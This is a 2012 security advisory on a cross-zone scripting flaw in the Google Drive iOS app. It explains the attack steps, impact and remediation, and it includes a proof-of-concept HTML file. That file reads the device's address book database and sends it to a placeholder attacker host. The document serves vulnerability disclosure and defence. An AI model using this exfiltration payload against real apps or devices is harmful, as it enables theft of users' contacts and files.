Google Drive Cross-zone Scripting

A security advisory

Roi Saltzman, roisaltzman@gmail.com
Application Security Research Group, IBM Security

October 18, 2012

1 Abstract

This paper covers a dangerous vulnerability in the Google Drive iOS mobile app, that existed in version 1.0.1. An attacker could steal arbitrary files from a Google Drive user by tricking him into viewing a malicious HTML file inside the Google Drive mobile app. By abusing the way in which the Google Drive iOS app renders HTML files, an attacker could bypass Same Origin Policy restrictions and read files that are accessible to the app itself, including sensitive user content as well as application configuration.

2 Background

According to Wikipedia[1], Cross-zone scripting is “a browser exploit taking advantage of a vulnerability within a zone-based security solution. The attack allows content (scripts) in unprivileged zones to be executed with the permissions of a privileged zone - i.e. a privilege escalation within the client (web browser) executing the script”.

In the vulnerability illustrated here, content that originates from an “Internet” zone (i.e. unprivileged zone) is executed under the “Local” zone (i.e. privileged zone).

3 Vulnerability Description & Attack Vector

A significant feature of the Google Drive app is allowing a user to view either his files or files shared with him. The Google Drive app achieves this by using an embedded browser (using the UIWebView class) to display the contents of these files. Although many file types can be viewed using the embedded browser, some file types cannot - possibly for security reasons. For instance, when a user attempts to view the contents of a file with a TXT extension the embedded browser displays the contents of that file. However, if the user

[1] http://en.wikipedia.org/wiki/Cross-zone_scripting.

attempts to view an HTML file, the Google Drive application displays the error message: "Unable to open file", and the HTML file is not rendered.

To circumvent this restriction on rendering HTML files, an attacker can:

1. Share an innocuous file with the victim. An empty TXT file will suffice.
2. Trick the victim into viewing that file, by going to the "Shared with me" screen in the Google Drive app.
3. Change the shared file extension from TXT to HTML, and then insert maliciously crafted HTML/-JavaScript content.
4. Convince the victim to view the TXT file again (without refreshing the "Shared with me" view).

Since the Google Drive app still "believes" the file to be a TXT file, it renders it using the embedded browser. However, the UIWebView now renders the newly downloaded and locally stored HTML content. This has two side effects:

- JavaScript code contained in the HTML file is automatically executed.
- The HTML content is loaded in a privileged "file" zone, as opposed to an unprivileged HTTP location.

Execution of malicious JavaScript code allows an attacker to steal potentially valuable information from the DOM of the embedded browser, an attack dubbed "Cross-Application Scripting" (XAS). However, because Google Drive loads the HTML file from a privileged zone [2] this malicious JavaScript can also access the file system with the same permissions as the Google Drive app.

4 Impact

By exploiting this vulnerability, an attacker could read and retrieve files that the app itself can access. For instance, application configuration files, the device's address book, the user's Google contacts[3], a list of the user's Google drive documents[4], a screen shot of the application that is taken when the user hits the home button that may contain sensitive file contents, etc.

Once the HTML file is rendered, the JavaScript code executes immediately. However, when the user has finished viewing the file, code execution is suspended until the user views the file again.

5 Proof-of-Concept

The following PoC illustrates a malicious HTML file that steals the user's iPhone/iPad address book:

[2]Such as "file:///private/var/mobile/Applications/APP_UUID/Documents/mymail@gmail.com/malicious.html".
[3]Located in the file contacts_snapshot_mymail@gmail.com.db
[4]Located in the file items_snapshot_mymail@gmail.com.db

```html
<html>
    <head>
        <title>Malicious HTML File!</title>
    </head>
    <body>
        <script>
            function readGoogleDriveFileiOS(fileName) {
                // Create a new XHR Object
                x = new XMLHttpRequest();
                // When file content is available, send it back
                x.onreadystatechange = function () {
                    if (x.readyState == 4) {
                        x2 = new XMLHttpRequest();
                        x2.onreadystatechange = function () {};
                        // x.responseText contains the content of fileName
                        // which we'll send back to ATTACK_SITE
                        x2.open("GET", "http://ATTACK_SITE/?file_content=" +
                           encodeURI(x.responseText));
                        x2.send();
                    }
                }

                // Try to read the content of the specified file
                x.open("GET", fileName);
                x.send();
            };

            // Reads the user's address book
            readGoogleDriveFileiOS("file:///var/mobile/Library/AddressBook/
               AddressBook.sqlitedb");
        </script>
        <h1>This malicious file will now leak the user's address book!</h1>
    </body>
</html>
```

Listing 1: Example of a malicious HTML file stealing a users's file

An attacker could use the same principle to craft a similar HTML file designed to steal different information from a Google Drive user.

6 Remediation

The vulnerability stems from the two side-effects of rendering unreliable HTML files in a privileged zone. There are two possible solutions that can mitigate this issue entirely:

- Disabling execution of JavaScript code while rendering untrusted HTML files.

- Loading the file from a less privileged location such as HTTP (i.e. http://doc-10-a0-docs.googleusercontent.com), and not from the file system.